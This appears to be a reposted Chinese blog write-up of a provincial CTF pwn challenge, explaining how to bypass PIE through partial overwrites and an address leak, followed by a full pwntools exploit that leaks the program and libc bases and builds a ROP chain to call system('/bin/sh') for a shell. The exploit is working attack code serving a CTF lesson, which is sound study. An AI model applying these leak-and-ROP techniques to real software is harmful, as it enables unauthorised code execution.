博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
PIE保护绕过
阅读量:4556 次
发布时间:2019-06-08

本文共 2323 字,大约阅读时间需要 7 分钟。

(一):partial write

开了PIE保护的程序,其低12位地址是固定的,所以我们可以采用partial write。但是我们不能写入一个半字节,所以选择写入两个字节,倒数地位进行爆破,范围是0到f,例如:

list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]

列表里是第二位字节可能的值,使用循环进行爆破。

(二):泄露地址

PIE 保护机制,影响的是程序加载的基址,并不会影响指令间的相对地址,因此如果我们能够泄露程序的某个地址,就可以通过修改偏移获得程序其它函数的地址。

这是浙江省省赛的一道pwn题,首先查看保护:

 发现只有栈溢出没开。

用IDA查看反汇编代码,发现由两处可以输入的地方:

 第一处的输入用户名时候

 第二处则是在输入算式结果的时候

经过分析发现,在输入用户名时函数并不会给字符串末尾加上 '\0' ,而 puts() 函数是在遇到 '\0' 时结束输出,故我们可以利用这一特性泄露内存。可以采用填充8个字节或16个字节来泄露内存。在使用填充16个字节泄露内存时应注意是 p.send('A'*16) 而非 p.sendline('A'*16),否则多出来的 '\n' 会影响接下来程序的执行。

 

第二处输入存在明显的栈溢出,故我们可以利用此处构造 payload。完整的exploit如下:

 

# -*- coding:utf-8 -*-from pwn import *libc = ELF('./libc.so.6')context.log_level = 'debug'p = process('./uninit')# libc=ELF('./libc.so.6')gdb.attach(p)p.sendafter("name:", 'A'*16) # 发送填充16个字节p.recvuntil('A'*16)PIE_addr = p.recvuntil("\n")PIE_addr = u64(PIE_addr[:-1].ljust(8, '\x00')) #用u64()解包地址# PIE_addr=u64(p.readline()[:-1].ljust(8,'\x00'))log.success("PIE_addr ==> {:#x}".format(PIE_addr))base1 = PIE_addr - (0x55e5dce05b39-0x000055e5dce05000) #计算程序加载基地址pop_rdi_addr = base1 + 0x0000000000000fd3 # pop rdi;的地址,用于构造puts和system函数的参数puts_plt = base1 + 0x940offset = 0x30 + 0x8 #覆盖到栈底的填充字节puts_got = base1 + 0x201F60start_addr = base1 + 0x9c0 #程序起始运行处的地址payload = offset*'A' + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt)payload += p64(start_addr)payload = payload.ljust(0x400, 'A')#gdb.attach(p)p.recvuntil("Tell me count of game:")p.sendline('1')p.recvuntil("Answer:")p.send(payload)puts_addr = u64(p.recv(6).ljust(8,'\x00'))base2=puts_addr-(0x7ff149172690-0x00007ff149103000) #libc加载基地址log.success("puts_addr ==> {:#x}".format(puts_addr))log.success("base2 ==> {:#x}".format(base2))system_addr=libc.symbols['system']+base2 #system函数的地址bin_sh_addr=next(libc.search('/bin/sh'))+base2 #‘/bin/sh’的地址log.success("bin_sh_addr ==> {:#x}".format(bin_sh_addr))log.success("system_addr ==> {:#x}".format(system_addr))payload2=offset*'A'+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)payload2+=p64(start_addr)payload2=payload2.ljust(0x400,'\x00') #此处用‘\x00’填充是考虑到调用system时需要的环境变量p.sendlineafter("name:",'A'*8)p.sendlineafter("game:",'1')p.sendafter("Answer:",payload2)p.interactive("countfatcode $")

 (三):vdso/vsyscall

尚待补充

转载于:https://www.cnblogs.com/countfatcode/p/11519713.html

你可能感兴趣的文章
解压cpio.gz、zip类型文件
查看>>
静态属性和静态方法
查看>>
高效的MySQL分页
查看>>
MooTools 1.2 Beginner's Guide
查看>>
计算储存、交互和语言
查看>>
bzoj2067: [Poi2004]SZN
查看>>
所谓独立环境
查看>>
当代GSM手机的硬件系统分析[zz]
查看>>
对我影响最深的三个老师
查看>>
开源项目托管GitHub
查看>>
Unity学习笔记—— 常用脚本函数
查看>>
.getCellType()的几种类型值
查看>>
linux中启动 java -jar 后台运行程序
查看>>
运行web项目端口占用问题
查看>>
Java Spring-IOC和DI
查看>>
【NOIP1999】【Luogu1015】回文数(高精度,模拟)
查看>>
Linux上安装Python3.5
查看>>
crt安装
查看>>
git切换分支报错:error: pathspec 'origin/XXX' did not match any file(s) known to git
查看>>
c++中static的用法详解
查看>>